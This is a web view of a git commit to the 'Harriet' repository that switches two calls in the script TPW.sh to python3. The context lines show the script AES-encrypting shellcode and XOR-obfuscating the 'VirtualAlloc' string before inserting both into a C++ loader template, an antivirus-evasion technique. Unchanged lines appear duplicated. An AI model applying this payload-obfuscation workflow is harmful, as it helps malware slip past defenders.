Parcourir la source

Update TPW.sh

assume-breach il y a 3 ans
Parent
commit
66a70f235e
1 fichiers modifiés avec 2 ajouts et 2 suppressions
  1. 2 2
      Harriet/Harriet/ThreadPoolWait/TPW.sh

+ 2 - 2
Harriet/Harriet/ThreadPoolWait/TPW.sh

@@ -31,7 +31,7 @@ cp Harriet/ThreadPoolWait/template.cpp Harriet/ThreadPoolWait/Resources/template
 echo -e ${yellow}"+++Encrypting Payload+++" ${clear}
 echo -e ${yellow}"+++Encrypting Payload+++" ${clear}
 echo ""
 echo ""
 sleep 2
 sleep 2
-python Harriet/ThreadPoolWait/Resources/aesencrypt.py $Shellcode > shell.txt
+python3 Harriet/ThreadPoolWait/Resources/aesencrypt.py $Shellcode > shell.txt
 echo -e ${yellow}"***Encryption Completed***"${clear}
 echo -e ${yellow}"***Encryption Completed***"${clear}
 echo ""
 echo ""
 cp shell.txt shell2.txt
 cp shell.txt shell2.txt
@@ -85,7 +85,7 @@ rm shell.txt
 
 
 #VIRTUALALLOC - XOR String
 #VIRTUALALLOC - XOR String
 echo VirtualAlloc > virt.txt
 echo VirtualAlloc > virt.txt
-python Harriet/ThreadPoolWait/Resources/xor.py virt.txt > virtalloc.txt
+python3 Harriet/ThreadPoolWait/Resources/xor.py virt.txt > virtalloc.txt
 virt=$(cat virtalloc.txt)
 virt=$(cat virtalloc.txt)
 virt2="${virt::-8}" 
 virt2="${virt::-8}" 
 sed -i "s/VIRALO/$virt2/g" Harriet/ThreadPoolWait/Resources/template.cpp 
 sed -i "s/VIRALO/$virt2/g" Harriet/ThreadPoolWait/Resources/template.cpp